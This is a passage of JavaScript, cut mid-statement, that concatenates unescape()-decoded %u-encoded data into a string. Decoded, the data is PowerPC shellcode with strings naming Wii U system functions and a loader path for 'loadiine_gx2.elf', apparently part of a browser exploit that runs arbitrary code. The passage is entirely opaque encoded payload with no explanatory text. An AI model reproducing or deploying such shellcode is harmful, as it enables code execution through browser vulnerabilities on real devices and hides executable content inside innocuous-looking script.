unescape("%u7fc9%u03a6%u3881%u005c%u3863%u0ad0%u3fc0%u0080%u63de%u1304%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u8061%u005c%u3880%u0000%u38a5%u0adb%u38c1%u0058%u3fe0%u0080%u63ff%u1400%u4e80%u0421%u813d%u0000"); + str += unescape("%u7f89%ue000%u419e%u0068%u813e%u0000%u2f89%u0000%u41be%u005c%u8121%u0008%u3880%u0004%u807e%u0000%u7d29%u03a6%u4e80%u0421%u7c78%u1b79%u4182%u0038%u8121%u0010%u809d%u0000%u7d29%u03a6%u80be%u0000"); + str += unescape("%u4e80%u0421%u3861%u0008%u7f04%uc378%u4bff%uf839%u8121%u000c%u907f%u0000%u7f03%uc378%u7d29%u03a6%u4e80%u0421%u939d%u0000%u937e%u0000%u813f%u0000%u7f89%ue000%u419e%u0010%u813f%u0000%u2f89%u0000"); + str += unescape("%u409e%u0068%u3881%u0060%u3861%u0008%u38a1%u005c%u9361%u0060%u9361%u005c%u4bff%uf999%u8081%u0060%u7ec3%ub378%u2f84%u0000%u419e%u0030%u3861%u0008%u4bff%uf7d5%u8121%u000c%u907f%u0000%u7d29%u03a6"); + str += unescape("%u8061%u0060%u4e80%u0421%u813f%u0000%u2f89%u0000%u409e%uff2c%u7ee3%ubb78%u8121%u0018%u7d29%u03a6%u4e80%u0421%u4bff%uff18%u3d20%u0080%u7f44%ud378%u6129%u1400%u7f23%ucb78%u8129%u0000%u7d29%u03a6"); + str += unescape("%u4e80%u0421%u3d20%u0080%u6129%u1500%u7f23%ucb78%u8129%u0008%u7f44%ud378%u8129%u0000%u7d29%u03a6%u4e80%u0421%u3961%u0090%u4800%u0024%u81cb%uffb8%u81eb%uffbc%u820b%uffc0%u822b%uffc4%u824b%uffc8"); + str += unescape("%u826b%uffcc%u828b%uffd0%u82ab%uffd4%u82cb%uffd8%u82eb%uffdc%u830b%uffe0%u832b%uffe4%u834b%uffe8%u836b%uffec%u838b%ufff0%u83ab%ufff4%u83cb%ufff8%u800b%u0004%u83eb%ufffc%u7c08%u03a6%u7d61%u5b78"); + str += unescape("%u4e80%u0020%u4653%u4765%u744d%u6f75%u6e74%u536f%u7572%u6365%u2066%u6169%u6c65%u642e%u0053%u4420%u6d6f%u756e%u7420%u6661%u696c%u6564%u2e00%u2f76%u6f6c%u2f65%u7874%u6572%u6e61%u6c30%u312f%u7769"); + str += unescape("%u6975%u2f61%u7070%u732f%u6c6f%u6164%u6969%u6e65%u5f67%u7832%u2f6c%u6f61%u6469%u696e%u655f%u6778%u322e%u656c%u6600%u7200%u4e6f%u7420%u656e%u6f75%u6768%u206d%u656d%u6f72%u7920%u666f%u7220%u454c"); + str += unescape("%u4620%u6669%u6c65%u2e00%u636f%u7265%u696e%u6974%u004d%u454d%u416c%u6c6f%u6346%u726f%u6d44%u6566%u6175%u6c74%u4865%u6170%u4578%u004d%u454d%u4672%u6565%u546f%u4465%u6661%u756c%u7448%u6561%u7000"); + str += unescape("%u6d65%u6d63%u7079%u006d%u656d%u7365%u7400%u4f53%u4661%u7461%u6c00%u4443%u466c%u7573%u6852%u616e%u6765%u0049%u4349%u6e76%u616c%u6964%u6174%u6552%u616e%u6765%u005f%u5f6f%u735f%u736e%u7072%u696e"); + str += unescape("%u7466%u005f%u4578%u6974%u0046%u5349%u6e69%u7400%u4653%u4164%u6443%u6c69%u656e%u7445%u7800%u4653%u4465%u6c43%u6c69%u656e%u7400%u4653%u496e%u6974%u436d%u6442%u6c6f%u636b%u0046%u5347%u6574%u4d6f"); + str += unescape("%u756e%u7453%u6f75%u7263%u6500%u4653%u4d6f%u756e%u7400%u4653%u556e%u6d6f%u756e%u7400%u4653%u4f70%u656e%u4669%u6c65%u0046%u5347%u6574%u5374%u6174%u4669%u6c65%u0046%u5352%u6561%u6446%u696c%u6500"); + str += unescape("%u4653%u436c%u6f73%u6546%u696c%u6500%u7379%u7361%u7070%u2e72%u706c%u0053%u5953%u5265%u6c61%u756e%u6368%u5469%u746c%u6500%u436f%u756c%u6420%u6e6f%u7420%u6c6f%u6164%u2066%u696c%u6520%u2f77%u6969"); + str += unescape("%u752f%u6170%u7073%u2f6c%u6f61%u6469%u696e%u655f%u6778%u322f%u6c6f%u6164%u6969%u6e65%u5f67%u7832%u2e65%u6c66%u0046%u6169%u6c65%u6420%u746f%u206c%u6f61%u6420%u454c%u4620%u2f77%u6969%u752f%u6170"); + str += unescape("%u7073%u2f6c%u6f61%u6469%u696e%u655f%u6778%u322f%u6c6f%u6164%u6969%u6e65%u5f67%u7832%u2e65%u6c66%u0000%u2e73%u6873%u7472%u7461%u6200%u2e74%u6578%u7400%u2e64%u6174%u6100%u0000%u0000%u0000%u0000"); + str += unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u000b%u0000%u0001%u0000%u0006%u0080%u0000%u0000%u0054%u0000%u0948%u0000%u0000%u0000%u0000"); + str += unescape("%u0000%u0004%u0000%u0000%u0000%u0011%u0000%u0001%u0000%u0032%u0080%u0948%u0000%u099c%u0000%u021d%u0000%u0000%u0000%u0000%u0000%u0001%u0000%u0001%u0000%u0001%u0000%u0003%u0000%u0000%u0000%u0000"); + str += unescape("%u0000%u0bb9%u0000%u0017%u0000%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u4f53%u5363%u7265%u656e%u496e%u6974%u004f%u5353%u6372%u6565%u6e47%u6574%u4275%u6666%u6572%u5369%u7a65%u4578%u004f%u5353"); + str += unescape("%u6372%u6565%u6e53%u6574%u4275%u6666%u6572%u4578%u004f%u5353%u6372%u6565%u6e43%u6c65%u6172%u4275%u6666%u6572%u4578%u004f%u5353%u6372%u6565%u6e46%u6c69%u7042%u7566%u6665%u7273%u4578%u004f%u5353"); + str += unescape("%u6372%u6565%u6e50%u7574%u466f%u6e74%u4578%u0073%u7973%u6170%u702e%u7270%u6c00%u5f53%u5953%u4c61%u756e%u6368%u4d69%u6953%u7475%u6469%u6f00%u496e%u7661%u6c69%u6420%u656c%u6620%u6669%u6c65%u0063"); + str += unescape("%u6f72%u6569%u6e69%u742e%u7270%u6c00%u6d65%u6d73%u6574%u004d%u454d%u416c%u6c6f%u6346%u726f%u6d44%u6566%u6175%u6c74%u4865%u6170%u4578%u004d%u454d%u4672%u6565%u546f%u4465%u6661%u756c%u7448%u6561"); + str += unescape("%u7000%u6d65%u6d63%u7079%u004f%u5345%u6666%u6563%u7469%u7665%u546f%u5068%u7973%u6963%u616c%u0044%u4346%u6c75%u7368%u5261%u6e67%u6500%u4943%u496e%u7661%u6c69%u6461%u7465%u5261%u6e67%u6500%u5f45"); + str += unescape("%u7869%u7400%u494d%u5f4f%u7065%u6e00%u494d%u5f43%u6c6f%u7365%u0049%u4d5f%u5365%u7444%u6576%u6963%u6553%u7461%u7465%u004f%u5341%u6c6c%u6f63%u4672%u6f6d%u5379%u7374%u656d%u004f%u5346%u7265%u6554"); + str += unescape("%u6f53%u7973%u7465%u6d00%u4e6f%u7420%u656e%u6f75%u6768%u206d%u656d%u6f72%u792e%u2045%u7869%u7420%u616e%u6420%u7265%u2d65%u6e74%u6572%u2062%u726f%u7773%u6572%u2e00%u4f53%u4372%u6561%u7465%u5468"); + str += unescape("%u7265%u6164%u004f%u5352%u6573%u756d%u6554%u6872%u6561%u6400%u4f53%u4973%u5468%u7265%u6164%u5465%u726d%u696e%u6174%u6564%u0054%u6872%u6561%u6420%u6d65%u6d6f%u7279%u2061%u6c6c%u6f63%u6174%u696f"); + str += unescape("%u6e20%u6661%u696c%u6564%u2e20%u4578%u6974%u2061%u6e64%u2072%u652d%u656e%u7465%u7220%u6272%u6f77%u7365%u722e%u0046%u6169%u6c65%u6420%u746f%u2063%u7265%u6174%u6520%u7468%u7265%u6164%u2e20%u4578"); + str += unescape("%u6974%u2061%u6e64%u2072%u652d%u656e%u7465%u7220%u6272%u6f77%u7365%u722e%u002e%u7465%u7874%u002e%u726f%u6461%u7461%u002e%u6461%u7461%u002e%u6273%u7300%u0000%u0000%u003c%u0000%u0000%u017a%u5200"); + str += unescape("%u047c%u4101%u1b0c%u0100%u0d0b%u1141%u7f8e%u128f%u1190%u1091%u0f92%u0e93%u0d94%u0c95%u0b96%u0a97%u0998%u0899%u079a%u069b%u059c%u049d%u039e%u029f%u0100%u0000%u0000%u0038%u0000%u0044%uffff%uecd0"); + str += unescape("%u0000%u0058%u0041%uce41%ucf41%ud041%ud141%ud241%ud341%ud441%ud541%ud641%ud741%ud841%ud941%uda41%udb41%udc41%udd41%ude42%udf41%u0641%u410d%u0100%u0000%u32b0%u0000%u32b4%u0000%u32b8%u0000%u32bc"); str += unescape("%u0000%u32c0%u0000%u32c4%u0000%u32c8%u0000%u32cc%u0000%u32d0%u0000%u32d4%u0000%u32d8%u0000%u32dc%u0000%u32e0%u0000%u32e4%u0000%u32e8%u0000%u32ec%u0000%u32f0%u0000%u32f4%u0000%u32f8%u0000%u32fc"); str += unescape("%u0000%u3300%u0000%u3304%u0000%u3308%u0000%u330c%u0000%u3310%u0000%u3314%u0000%u3318%u0000%u331c%u0000%u3320%u0000%u3324%u0000%u3328%u0000%u332c%u0000%u3330%u0000%u3334%u0000%u3338%u0000%u333c"); str += unescape("%u0000%u3340%u0000%u3344%u0000%u3348%u0000%u334c%u0000%u3350%u0000%u3354%u0000%u3358%u0000%u335c%u0000%u3360%u0000%u3364%u0000%u3368%u0000%u336c%u0000%u3370%u0000%u3374%u0000%u3378%u0000%u337c");